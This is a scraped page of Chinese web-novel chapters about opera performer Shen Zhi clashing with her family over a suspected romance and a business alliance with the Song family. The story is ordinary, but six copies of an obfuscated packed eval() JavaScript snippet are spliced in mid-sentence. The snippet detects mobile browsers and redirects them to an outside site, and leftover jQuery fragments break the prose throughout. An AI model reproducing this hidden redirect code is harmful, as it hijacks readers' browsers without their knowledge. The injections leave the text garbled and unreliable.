见沈枝走开,沈丛艺、马岚和沈青以参观房间的名义各处看看,可沈枝怎么都觉得她们像是在找什么。 “哟,你这卧室关着门,能进吗。”马岚问。 “啊,可以。”沈枝放下茶水坐在了沈新华的对面,内心狐疑。 “枝枝,爸爸用一下卫生间。” “哦,好。” “这大衣柜不错,我看看里面什么格局,回去我也做一个。”沈青说着已经打开了大衣柜的门。 沈枝这下明白,她们是在找人。 可是在找谁呢…… “听说你谈恋爱了。”沈新华一边喝茶一边跟沈枝闲聊天。 那一瞬间,沈枝懂了,一定是沈青。 心里头觉得又难过又好笑,沈枝抽了抽嘴角摇头,“没有。” 看到沈枝家里似乎不像藏人的样子,而且她也是一副坦坦荡荡的模样,沈新华放松了许多,但是他们三个搜得太明显了,枝枝也不是傻子。 “我们呢听说你在和小靳谈恋爱,怕你少不更事过来看看。”沈新华索性摊牌。 “哦,来捉奸的。”无名的怒火让沈枝也不再客气。 “这叫什么话,爷爷也是关心你。”沈丛艺什么都没找到回到客厅坐下,“你的恋爱和婚姻必须经过家里,这你是知道的。” 沈枝无语,“为什么,我二十六了,谈个恋爱不违法吧。” “咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419440|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这种人家选女婿自然不能随便,你爸爸和爷爷也是为你好。”马岚也一无所获地回来了。 “如果我不同意呢。”沈枝面色铁青,双手在胸前抱臂。 沈丛艺斥责她,“你在跟谁说话,这事由不得你同不同意。” “枝枝啊,别犟,爸妈也是为你好。”沈青也走出来,“你和靳连竹那么亲密,真的不是在恋爱的话,实在行为不检了。” 果然是她,沈枝冷眼看她,“你看见了,我们哪里不检了。” “这照片可清清楚楚。”马岚拿出手机递给沈枝。 哦,原来她们一家子还有一个没有她的群。 那一刻,盯着群名:幸福艺家人,沈枝的眼泪再也忍不住了。 “枝枝,你先别委屈,把照片的事情解释清楚就行。”马岚走过去想要安慰女儿,被沈枝躲过。 “解释什么,我不违法犯罪,不曲意逢迎,不拜金不巴结谄媚富二代,我堂堂正正正大光明,谁也别来烦我。” 心里的悲凉让沈枝觉得很冷,从小到大都是这样,她做什么都是错,没做过的事也能无事生非,她永远活在家人的想象里,永远被指责被批评,也永远说不清。 “你说谁呢。”沈青蹭地窜出来,“什么叫巴结谄媚,我那是谈恋爱,你知道什么,宋氏集团跟爸爸的合作关系到咱们家的未来,你只顾自己,从不考虑家族产业,自私自利。” “把见钱眼开说得这么清新脱俗,也只有你沈青一个了。”沈枝冷笑,“我竟然都不知道,咱们家的家族事业是要靠出卖女儿联姻换来的,没有实力没有匹配的资源,一个沈青还真是厉害到了抵得过一切。” “放肆,谁教你这么说话的。”沈丛艺作为家族第四代传人,没有半点戏曲天赋,这辈子靠着家世背景和老父亲结交关系做生意,听了这话瞬间破防,“没有家里的生意,你吃什么,没良心的东西。” “我吃我自己赚的工资,不像某些蛀虫。”沈枝觉得很无力,那种说不清的感觉又一次袭来,“没什么事你们回去吧,我要睡觉了。” “枝枝啊。”沈新华放出底牌,“不管你有没有谈恋爱,小靳都不可以,这是原则问题。” 13. 再不会退让 沈枝愣住了,什么意思。 沈新华似乎并没有要解释,继续说:“至于宋氏集团,他们家现在是我们最好的合作伙伴,咱们艺术世家徒有虚名,如果能跟宋氏合作联姻,家族世代传承才能有指望,毕竟,论财力论人脉,咱们都需要人家的支持。今天跟你说这些是想告诉你,你姐姐跟宋雪峰的恋爱是关系到家族的大事,容不得你置喙半个字,另外,你的姻缘未来即便找不到像宋氏那样的豪门大户,也绝对不会没有依靠没有背景家世的野人。” 野人,他是野人爷爷为何收他为徒。 那一刻沈枝脑子里乱糟糟的,总觉得这里头好像有什么事,矛盾,很矛盾。 直到几人起身要走,她才发觉自己脸上的眼泪早已经干了。 “行了咱们走了,你若听话,这里可以继续住。”沈新华走到门口发话,“如果不听话,就回家。” 大门外一阵热闹地高声寒暄:“靳先生,总算见到你了。” “宋老先生,别来无恙。”是靳连竹的声音。 两边的房门被同时打开,这边沈青站在门口,看到对面的主人刚好把客人迎进房间,而那个主人就是靳连竹。 “果然是你。”沈青冷笑,侧身让开视线,好让身后的人都瞧见,“爷爷,您瞧,您的学生果然在这里。” 沈丛艺一下子变了脸色,怒气冲冲问沈枝:“这究竟是怎么回事,你还有什么话可说。” 马岚也是一副天塌了的样子,“枝枝啊,这究竟怎么回事啊。” 沈枝靠在墙边,觉得很可笑,“什么怎么回事,我要说什么。你们究竟想听什么,是要我说我的家人怀疑我跟什么人私会,半夜三更跑来捉奸吗。” “够了。”沈丛艺怒斥沈枝,“为什么他会在对面。” “那是他的房子,他的家,他为什么不能在对面。” “可真是巧合。”沈青阴阳怪气,“巧了他是爷爷的学生,巧了你们在一起合作,巧了你们晚上一起亲亲热热地吃饭,巧了你们还是邻居,而你还非要搬出来住,哼,小说都不敢这么写吧。” “所以呢。”沈枝气笑了,“我犯法了吗,还是做什么见不得人的事了。” “枝枝。”马岚拉了沈枝一把,“还不赶紧解释一下,你们两个究竟是怎么一回事。” 无力,又是这种感觉,沈枝太熟悉了。 她的家人一旦通过想象认定了一个他们愿意相信的事实,就再听不见她说什么了,他们只会逼着她承认他们的想象,然后一顿教训。 沈枝沉默。 “这还有什么好说的,沈家的脸面都被她丢尽了。”沈丛艺气急败坏,“明天,不,现在就搬回家住。” 沈枝冷笑,淡淡地回了一句,“不可能。” “你……” “够了。”沈新华生气地打断了沈丛艺的话,“吵吵嚷嚷像什么样子,不怕被人笑话吗。这是什么地方,来来往往那么多乱七八糟的人,隔墙有耳。今天的事是家事,谁都不许说出去,沈家丢不起这个人。” 沈丛艺咬牙,憋得脸通红。 沈枝无奈地冷笑,爷爷最在意的只是沈家名声和脸面。 沈新华看着靳连竹,声音严厉,“你在这里做什么。” “我住这里,老师。”靳连竹毕恭毕敬,眉眼间却冷若冰霜。 “怎么了,出什么事了。”杨小咩从靳连竹的房间里走出来,大概是路过客厅,还不忘跟刚到的客人打了个招呼,“您坐,别客气。” “呀,沈伯伯,沈爷爷,你们怎么都来了。”杨小妹手里捧着一大堆的东西走过来,“枝枝快来帮我,我拿了好多。” 她欢天喜地的样子打破了剑拔弩张的气氛,走到沈枝身边时借着放下东西悄悄捏了捏沈枝的胳膊,眼神里尽是安慰和心疼。 “你还别说,连竹的手还真是巧。”她旁若无人地给沈枝展示,“这三个包包都很漂亮,回头咱俩轮着用,还有这些发簪,配你的旗袍和汉服,我要这几支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419441|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “哦,小杨今晚跟枝枝在一起啊。”马岚露出笑脸打圆场,又对着沈新华小声说:“爸爸,杨小姐可是枝枝的闺蜜呢。” “是啊阿姨。”杨小咩故意提高音调,“我们天天都在一起啊,她这不刚搬过来吗,我来帮着收拾收拾。您别提了,枝枝搬家那几天啊,可把她累坏了,都没有一个家人在身边,什么都要自己做,可怜死了,不过现在好了,你们终于来看她了。” 几句话说得马岚很尴尬,嗯嗯啊啊地敷衍着。 “杨小姐一直都跟枝枝关系很好,有你在她身边我们放心多了。”沈新华的声调和蔼了许多,眼睛眯起又是一副笑模样。 “沈爷爷您放心,我会比家人对她还要好呢。”杨小咩仔“家人”二字上加重了语气。 “那,你也认识小靳了。” “当然啊。”杨小咩拿起手里的饰品,“您看,这都是他做的,厉害吧。” “行了,你们就别装了,餐厅吃饭的亲亲热热的明明就只有靳连竹和沈枝。”沈青仍不善罢甘休,“你是帮着遮丑的吧。” “遮什么丑,究竟谁丑。”沈枝瞪着她,“我光明磊落,不像某些人,只会背地里偷拍、打小报告,我最厌恶这种没有底线的人了。过去我不想跟你计较,沈青,从今天起你最好别惹我。” 靳连竹走到沈新华面前:“我跟枝枝老师有合作,我们也是朋友,正如你们所见,我们光明磊落。我就住在对面,那是我的房子。刚好有朋友过来找我,没想到遇到这样的景象。” 他语气淡然从容却有一种不容置疑的威压。 “靳连竹你什么时候住在对面的。”沈青一下子抓到了他话里的关键点,“这里的房子不便宜,你怎么可能买得起。” “沈青,买不买得起是他的私事,不偷不抢总比你伸手跟别人要卡体面百倍。”沈枝一把扯过沈青的胳膊,“再造谣我立刻报警。” 沈枝状似不经意地从她身边走过去,将她挤到门外。 14. 意外之喜 沈青一个不防备,往后趔趄了两步,后腰撞到门框上硌得她眼泪直流,半天说不出话来。 “沈枝,你这是做什么?”沈丛艺怒不可遏,忙去扶起大女儿,“青青是你的姐姐。” 说完瞥了一眼靳连竹,训斥沈枝:“我们是你的家人,我们会害你吗。这个人你了解吗,他什么来路什么背景,他买得起这里的房子吗。” “的确不是买的。”靳连竹开口,“是朋友赠予。” “可笑,吹牛都不会吹,你有这样的朋友吗,什么人会送你房子,你是救了他一家的命吗。” “是,我就是那个赠予靳先生房子的人。”一道成熟的声音从门外传来,“他的确救了我们一家子的命。” 宋玉良在儿子宋善宝和孙子宋雪峰的搀扶下,缓缓走进来。 老人家今年七十,头发全白红光满面,一双眼睛尤其锐利有神,面对这一场意想不到的闹剧,脸色十分难看。 “沈老,别来无恙啊。”宋玉良看着沈新华,笑了,“原本今日是来赴约,没想到还未进门先看了一出戏。” 沈新华傻眼:“宋老,您怎么在这……” 随即就看到宋老上前跟靳连竹握手,笑容诚挚:“你来京市也不提前说一声,让老头子挂念这许久。” 靳连竹回道:“我这也是刚到不久,这不刚安置好,就邀请您来做客了。” 宋老笑容更加满意。 靳连竹:“快请进。” 进门之前,宋老又说:“这房子的来路有我担保,沈老有什么不明白的直接来问我。” 宋雪峰也跟着嘟囔了一句:“送一套房子算什么?要不是靳先生说什么也不要,我们还打算送一栋楼呢。” 见宋雪峰意味深长地看了自己一眼,沈青心里“咯噔”一声,忙不迭说道:“雪峰,这件事回头我会跟你解释。” “不必了。”宋雪峰收回视线,“是我高攀不上你这位博学多才的艺术世家的大小姐,那张卡你就留下吧,以后别来找我了。” “雪峰。”沈青急得眼泪在眼眶里打转。 “老宋,宋总。”沈丛艺自然不会看着爱女受委屈,赔着笑脸套近乎,“她们姐妹之间从小就打打闹闹的,小孩子闹情绪,别因此伤了两家和气。” 宋善宝微笑不语,对着他挥了挥手。 马岚强行把沈青拉走了,临走还不忘对沈枝说了一句,“枝枝啊,都是误会,别往心里去,毕竟是一家人。” 只有沈丛艺还不死心,想要跟宋善宝再解释解释,“枝枝,你说句话,让你宋叔叔知道都是误会。” 沈枝拉过杨小咩,“砰”的一声关上了门,将那一家四口阻挡在外。 门被关上,将一切隔绝在外,世界瞬间安静下来。 沈枝有一种虚脱的感觉,疲累,无力。 “来,坐下喝点东西。”杨小咩拉着沈枝坐在沙发里,倒了茶水给她,“今晚我陪你。” “不是第一次也不会是最后一次,放心,我没事,而且从今往后我都不会再忍了。”虽然眼睛还是红红的,但是沈枝的情绪很稳定,“我现在有要好的好朋友,有工作有收入,不算富裕但可以养活自己,收敛物欲好好生活,你看,一切都好嘛。” “嗯嗯,再交个男朋友,快快乐乐甜甜蜜蜜就更好了。”杨小咩心疼地搂着她。 沈枝摇头,“这个还是以后再说吧,暂时没心思也没时间考虑。” 杨小妹心疼地将沈枝搂在怀里,“你呀,总是没时间,你的时间都用来练功了,前几天是不是又累到发高烧,你可真是,别仗着自己年轻不当回事。” 她伸出手去探沈枝的额头,被沈枝笑着拿掉,“我没事,这都是家常便饭,不要紧。” 她常常有伤病,但从不因此耽误练功和排练,顶着三十八度多的高烧继续练功, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419442|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身是伤疼得站不住也不停下,在沈枝看来作为戏曲人,这些都是常态,这点儿苦都吃不了,干脆别干这行。 “什么不要紧,细水长流,现在大家都懂得养生,只有你每天拼命一样。”杨小咩点了一下她的额头,就听到门铃响。 二人对视,同时紧张。 “不会还没走吧,难道气不过又杀回来了。”杨小咩有点生气,“我去……” “你坐着。”沈枝淡定起身,“我去看看。” 门被打开,是宋家三人,最后面站着靳连竹。 他的眼神落在沈枝脸上,在看到她微笑的表情时,才暗暗舒了一口气。 “很冒昧打扰沈老师了,我们一家人都是您的粉丝,我十分喜欢您的戏也欣赏您的能力,只是没有机缘认识。”宋玉良笑眯眯地开口,“今日我是想跟靳先生合作的,靳先生推荐了沈枝老师,说您是个难得的人才,作为团队的引领人一定能做得很出色。” 老先生开门见山倒是干脆得很,沈枝想请他进门被老先生婉拒了,“深夜了多有不便,就在这里说吧。宋氏集团一直以来都想成立自己的剧团,做全国连锁的剧院,就像影院一样,跟各大剧团签长约合作,全国巡演,同时培养自己的演员和队伍。能给喜欢戏曲喜欢国学文化的年轻人提供平台,我老了,这件事是我的心愿,希望能够尽自己的绵薄之力把中国的戏曲发扬光大。” 老爷子说得很真诚,“当然,我是个商人也看好这个行业,还想做培训学校,从娃娃抓起为剧团输送人才,等孩子们长大了,这也是一批戏曲人的就业方向,这是一条产业链,于我们宋氏集团也大有利。” “这些都是后话,我是想跟沈枝老师合作,不知您意下如何。”宋玉良十分真诚,“不瞒您说,本来没想到能够结识沈老师,打算把这件事交给雪峰来做的,可是他没有经验实在很难。” 沈枝听懂了,这是好事啊。 15. 分手了 但是若在从前,刚跟家里人闹翻,并且他们一直想要结交的人找到自己,沈枝会觉得多一事不如少一事,不会应下,但是现在不同了。 他们是他们,沈枝是沈枝。 “多谢您看得起我,我也十分有兴趣。”沈枝笑道,“但是我是剧团的人我需要跟我的领导和单位汇报,能有志同道合的人一起做点事,我十分感激您。” 事情说完了,宋玉良十分激动地回去等消息,送走老人家沈枝感慨,一个普通的戏剧爱好者,竟然比自己家里世代传承的行内人还要有情怀有信仰,而不只是纯粹地利用艺术资源赚钱…… 这是天大的好事,杨小咩也跟着高兴,搂着沈枝的肩膀说:“你马上就要忙得人仰马翻了,明天是周末,咱们出去放松一下,野餐怎么样,我知道一个地方很不错。我这就给我们家玉书打电话,明天一起去,再把对面叫上,人家今天也是无妄之灾。” 这样的事沈枝从来都是听她的,大半夜两个人为了明天的野餐准备起来,把所有的不愉快一扫而空,沈枝心情大好。 第二天一早,沈枝和杨小咩被门铃声吵醒,靳连竹送来早餐,是他自己做的牛排煎蛋和咖啡汉堡。 “这也太多了吧,怎么吃得完。”杨小咩尝了一口牛排,“嗯,鲜嫩多汁,没想到你手艺这么好。” 靳连竹把汉堡推到她面前,“玉书也没吃早饭,这是他的。” 杨小咩笑得一脸谄媚,“你可真是太体贴了,能不能说这个汉堡是我做的。” 靳连竹:…… 沈枝:…… 四个人吃过早饭带着准备好的东西下楼,主要都是一些饮料酒水和零食,杨小咩联络的地方野餐烧烤的东西都是齐备的,肉菜点心什么的也都有,但是靳连竹还是带上沈枝爱吃的糕点。 装好车准备出发就看到了一大早赶过来的宋雪峰,昨晚上杨小咩给靳连竹打电话约野餐的时候刚好被他听到了。 “我来加入。”宋雪峰的中文说得有点跑调,利索是挺利索的,就是味儿不对,“我要跟我的偶像在一起。” 他看着沈枝,眼睛里冒星星。 这个富二代性格倒是蛮好,自来熟且为人很谦和坦诚,丝毫没有有钱人家少爷的傲气和骄奢。 杨小咩打趣他,“恐怕我们枝枝零星可数的粉丝里面,你们家已经占了大半壁江山了。” 她笑着同宋雪峰招手,等他凑近些附耳问:“你这样做沈青知道吗。” 宋雪峰大手一挥,“分手了,道不同不相为谋。” 沈枝挑眉。 杨小咩惊奇,“哟,假洋鬼子还会说文言文呐。” “我不是假洋鬼子,我是中国人。”宋雪峰嘿嘿一笑,“我喜欢我师父,师父你就收下我这个徒弟吧。” 沈枝:…… 这个话是不能这样说的。 野餐是在一个大草坪上,这里的规划很好,来野餐的人都有足够的区域,不会挨挨挤挤显得很局促。 放眼望去,开阔的草地,平静的湖面,身后是怪石嶙峋的小山,听说山上还有菌子和野果可以采摘,很远的地方是另外一群人,人家带了两只小狗正在草地上跑来跑去,隐约能听到嬉笑打闹的声音。 心情一下子疏朗起来,靳连竹给沈枝和杨小咩端来酸奶坚果,还有一些水果和咖啡,让她们坐在树荫底下玩。 “没想到靳师父手艺这么好。”杨小咩不吝赞美,“看来今天有口福咯。” 靳连竹拿着签子在穿肉,笑了笑看了沈枝一眼,没说话。 陈玉书忙着扎帐篷、生火暖炉子,听她这样说忙附和,“连竹是真人不露相,我觉得他好像没有什么不会的。” 宋雪峰跑过来,“师父,咱们去玩飞盘吧。” 沈枝摇头,“我不是你师父,而且我年纪大了需要休息。” 宋雪峰跟沈枝一年人,撇了撇嘴,“那我给师父捶捶肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419443|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “宋雪峰,你今天干嘛来了。”杨小咩问他。 “我爷爷说了,让我跟着师父学学中国传统戏曲,然后请靳先生带带我。” “带什么?” “为人处世,性情脾气,我爷爷说靳先生是个高人,就跟在他身边就可以了。” 沈枝和杨小咩同时看向靳连竹。 那人脸上没什么表情,仍旧是淡淡的。 “可惜靳先生不怎么爱搭理我。”宋雪峰大喘气。 哦,这就对咯,沈枝笑了,“那我也不收徒。” “啊,那不行……” “宋雪峰,过来。”靳连竹的命令打断了宋雪峰纠缠沈枝的动作,屁颠屁颠地跑过去。 二人交流了几句,就换成了宋雪峰穿串儿,靳连竹朝这边走过来。 “他真的很听你的话。”沈枝递给他一杯她刚泡好的茶水,是他喜欢的龙井。 “昨天之前我不认识他,只认识他祖父。”靳连竹说话总是慢条斯理的,“他爷爷是票友,我们偶然间认识很投缘,他就让我给他说戏讲戏。” 沈枝点头,想起昨天晚上宋玉良老爷子对靳连竹是满满的维护,“原来你们是老相识,听他口口声声说你是他家的贵人,又是怎么回事。” “他家做生意的,先前做磷矿,也是很偶然的一个机会老宋问到我的意见,我随口说了,大概应该是帮到他了吧。” 他说得轻描淡写,但沈枝知道能帮到那么大的一个宋氏集团,应当也不是小事。 她笑着调侃他,“原来玉书没说错,你真的什么都懂啊。” 靳连竹没有笑,抬头看她,“是我连累你了吗。” 沈枝一愣,反应了一下才想起他说的是昨天的事。 “没有,跟你没关系。”沈枝说,“我家里人就是这样对我的,上次你也看见了,大概是因为我是个女孩儿吧。” 她一直都是知道原因的。 16. 选择 沈家并非重男轻女,沈丛艺和马岚有了一个女儿沈青,第二胎自然想要个儿子,一来老爷子说过儿女双全凑成一个好字,戏曲传承上才更好。二来觉得有个兄弟将来会有人给女儿撑腰,谁知生了沈枝。 偏巧沈枝不如沈青那样伶俐可人,从小她就是个沉默寡言的性子,不能为家族和父母长辈带来荣耀和面子,自然不得长辈喜爱。时间久了小小的沈青也开始欺负她,为了突出自己的优秀总是拿着这个不爱说话的妹妹做比较,话里话外贬低她指责她。 久而久之就成了习惯。 事情说大不大,但是却早已形成了无法扭转的局面,对沈枝的伤害是日积月累的,无法抹去,越长大越难受还没法跟人说,说了吧还有一种屁大点儿事无病呻吟的矫情感,外人是不会明白的。 靳连竹点点头没说话,把她最喜欢的糕点递了过来。 已经快到中午了,靳连竹烤了烤串,又十分认真地把宋雪峰教会,这会儿富二代正乐此不疲地烤烤串呢,还在那筹划,“这事可行,回去我就跟我爸说,我要做全中国最大的烧烤企业,这玩意儿商机可太大了,以后开到漂亮国去,让他们也尝尝熟肉比生肉美味……” 从昨天发生事情到现在为止,沈枝还没有跟靳连竹聊到这上头,这会儿他提到了,沈枝问:“你跟爷爷学戏,会不会受到影响。” 她担心祖父把怨气撒在靳连竹身上。 靳连竹笑了,眼神中透着一丝狡黠,“放心,不会的,反而会对我更好。” 沈枝不明白,疑惑地看着他。 片刻后终于想通了,她笑了,是啊,爷爷和爸爸还有沈青最看重的就是宋氏集团,宋家人那样维护的靳连竹,相信他们也是要惊掉下巴了。 几人玩了一天,晚间商量着去沈枝家里大吃一顿。 电梯门打开宋雪峰愉快的声音先跑出来,“今天的龙虾真好,师父,晚上我来露一手……” 一瞬间的对视,沈新华的脸上露出微笑。 “爷爷?”沈枝诧异。 “枝枝,我有话跟你说。” 房间里茶香四溢,沈枝泡了普洱,是沈新华喜欢的茶。 祖孙俩还是第一次这样面对面坐着交流,沈枝的印象中,从小到大看见过几次姐姐沈青跟祖父一起坐着喝茶说话,但是聊的话题似乎很愉快,因为两个人都是笑着的。 不像她,此刻闻着茶香都带着苦涩。 沈枝用泡好的茶水清洗茶盏,屋子里很安静,只能听到轻微的瓷盏碰撞的响声。 “你还记得祖父爱喝这个。”第一杯茶被沈新华捏在手中,慢慢闻了闻,眉目舒展,露出惯有的慈祥的笑容。 沈枝笑了笑,“爷爷爱普洱和雕花酒,爸爸爱喝信阳毛尖,妈妈爱喝花茶和银耳茶,姐姐爱奶茶。” 说完两个人都笑了。 她都记得。 “那你呢。”沈新华问,“你爱喝什么。” 沈枝抬头,“我爱咖啡。” 沈新华看着她的眼睛,眸中一闪而过的颤抖。 “你父亲是几代人中最没有戏曲天赋的。”沈新华开口,“他从小就想证明给我看,可是始终不行,天赋这个东西是老天爷给的,努力只能弥补技术上的缺陷,但永远达不到顶尖的水准。” “他也是个要强的性子,这一点随了你的奶奶,戏曲不行就一门心思想要赚钱。”沈新华慢慢呷了一口茶,“我理解他,咱们这个家想要延续下去光靠几代人的名声和荣誉终究是顶不起来的,有钱才能更好地追求艺术,经济基础决定上层建筑。” 这话沈枝不敢苟同,却也不反驳,沉默地听着。 “你的妈妈是我的学生,当年天资平平略比你爸爸强一些却也有限。” “但是她是个老实本分的人,适合嫁到咱们家做媳妇管家,只是与后代的天赋上并没有什么助益。” “但是老天爷待沈家不薄,有了你。”沈新华看着沈枝笑了,“其实莫说跟你姐姐青青比,就是跟爷爷比,你的天赋都是上乘的,这一点在你五岁的那次表演我就看出来了。” 沈枝都快忘了,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419444|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想大约应该是五岁那年过年的时候,远房老家的亲戚还有爷爷的圈内挚友都聚在一起过年,酒店里足足摆了五桌,这样的场合小孩子被要求表演节目是必然的。 沈青和沈枝都表演了唱段,沈青唱的是拿手的黄梅戏,那时候还很小的沈枝也想得到长辈们的夸赞,于是特意选了新学的越剧,这是老师夸过的,小小的沈枝很有自信。 大家都觉得小孩子怎么可能理解越剧呢,爸妈当时反对但是沈枝执意要唱越剧,谁知她一开口全场都安静了,她记得那是她第一次赢得了全场的掌声。 “爷爷当时还给我发了个大红包,把我抱在怀里一整晚。”沈枝不好意思地笑了。 “是啊,你的天赋在那一刻显露无疑,让所有人都知道我们沈家后继有人。”回忆当年沈新华很自豪,“我记得你当时唱的是《梁祝.十八相送》,对于一个五岁的小女孩来讲,唱功上自然不是尽善尽美的,可是你当时的神态和感情让我看到了家族未来的希望。” 这是沈枝没有想到的。 “但是爷爷还是选了姐姐作为接班人。” 这话若在从前,她是不好意思直接开口问到长辈脸上的,但是现在她问出来了。 沈家五代,每一代都有一位正式的继承人继承戏曲艺术,到了沈枝父亲沈丛艺,家里只有他一个,所以即便沈丛艺没有戏曲天赋还是继承下来,并且由老爷子亲自教导两个孙女。 当然,本来是打算一个孙女一个孙子的。 到了沈枝这一代,从小就被拿出来比较的姐妹两个自然知道继承艺术世家是什么意思,沈枝当然也想过被长辈们选中,因为那不仅代表她很厉害有天赋,还能继续把这条路走下去,这是她发自内心喜欢的路。 可是慢慢她就发现,无论她怎么努力,长辈们只能看到姐姐。无论姐姐唱得多不好都会被夸奖,而她,就是不能跟姐姐比。 久而久之,她也就不争不抢了,不想要了。 不是放弃,而是另辟蹊径,这条路的走法还有很多,靠自己也可以走出来。 17. 宿怨 “这是你想多了。”沈新华看着她,“枝枝啊,虽然你从小就安静沉稳,可是祖父知道你这孩子心里有数,有时候比你爸妈都清醒。” “爷爷也知道这些年你很委屈。”沈新华看着自己的孙女,“你爸妈更偏心你姐姐,那也是青青从小就嘴甜乖巧讨人喜欢,而且从小到大无论她喜欢的或者不喜欢的事,只要我们叫她做,她一定会认认真真做,而你却不是,你有自己的想法,不认同的事情你不会做,对不对。” 沈枝点头。 “也正因为青青听话才能得到大人们的关爱和支持,但这并不意味着将来的沈家就要交到她的手上。”沈新华说。 “但是枝枝,你们还年轻,很多事情处理不好,能够听取长辈们的意见是必要的。”沈新华语重心长,“家族的传承不是只有才华想法和魄力就可以的,几代人积累下来的经验和传承的宗旨是要遵循的,在这一点上,你姐姐比你做得好。” 沈枝默默听着不置可否。 “从小家里没人注意到你,可是爷爷是心疼你的,爷爷知道你是个有个性有想法的孩子,你自己考进戏剧团爷爷虽然没帮你但是我相信你也并不想让我帮,但是你工作以后爷爷也是通过老熟人打听过你的情况,谢团说你的表现很好,还说你现在比以前有上进心了,你知道爷爷听了有多高兴吗。” 这话谢团的确说过。 “每个人都有自己的个性,在爷爷看来你个青青是一样的,都是沈家的第五代,都有一样可以继承家族的权利,只要我不发话,这个家的继承人就没有定,枝枝,你的艺术造诣一定能超过青青,甚至有可能超过爷爷,爷爷希望有生之年看到那一天,所以,只要你做得好,沈家的一切和未来就是你的。” 沈新华拉过沈枝的手,“上一次你送给爷爷的髯口爷爷很喜欢,我孙女是最了解爷爷的,你们年轻正是拼事业的时候啊,至于恋爱婚姻,将来再考虑吧。” “但是有件事要提前跟你说明。”沈新华的声音严肃了许多,“关于靳连竹,不管现在你们什么关系,谈恋爱结婚是不可以的,实话说,姓靳的人不可以。” 沈枝看着他,等待着解释。 可是沈新华明显没有要解释的意思,看了一眼她已经收好的茶具,起身道:“这是祖训,如果你不信就等我死的那一天你就能亲眼看到了。” 沈枝不语默默跟在沈新华身后送他出门,走到门口的时候,沈新华顿住脚步,低声提醒她:“宋家是你爸爸生意上最佳的合作伙伴,枝枝啊,你爸爸也不容易,如果能帮他就帮一把,当然,在不违反你做人原则的基础上,言尽于此,我走了,你别送了。” 祖父的这番话是第一次和沈枝说,不知道老人家的心思爸妈和沈青知不知道。 那自然是不知道的,不但不知道,此刻一家三口正坐在一起相互抱怨呢。 沈丛艺和马岚、沈青,连做梦都不会想到事情会发展成这样。 沈家五代戏曲世家,被冠艺术之名,行得是高雅端方之举,本以为仗着自家的声誉能够和宋氏强强联合,对方有钱有实业,沈家有名声有地位,彼此相互助力相得益彰,更重要的是也给沈家未来的发展奠定经济基础。 沈青和宋雪峰的约会本来很顺利,也一直得到家人的关注和指导,今晚沈青回来还拿到了宋雪峰送的卡,钱不钱的还是小事,这个行为说明宋雪峰接纳了她,还说要带着沈青见他的父母和爷爷。 事情进展得很顺利,沈丛艺是不会让任何负面消息阻碍了两家的亲事,他的公司已经岌岌可危了,就指望着宋氏的注资起死回生,不然父亲又要说他一事无成了。 可偏巧,事情竟然发展成这样。 别说合作了,恐怕沈青的婚事也要黄了。 沈丛艺怒不可遏,把沈青骂了个狗血淋头。想想若不是父亲非要收靳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 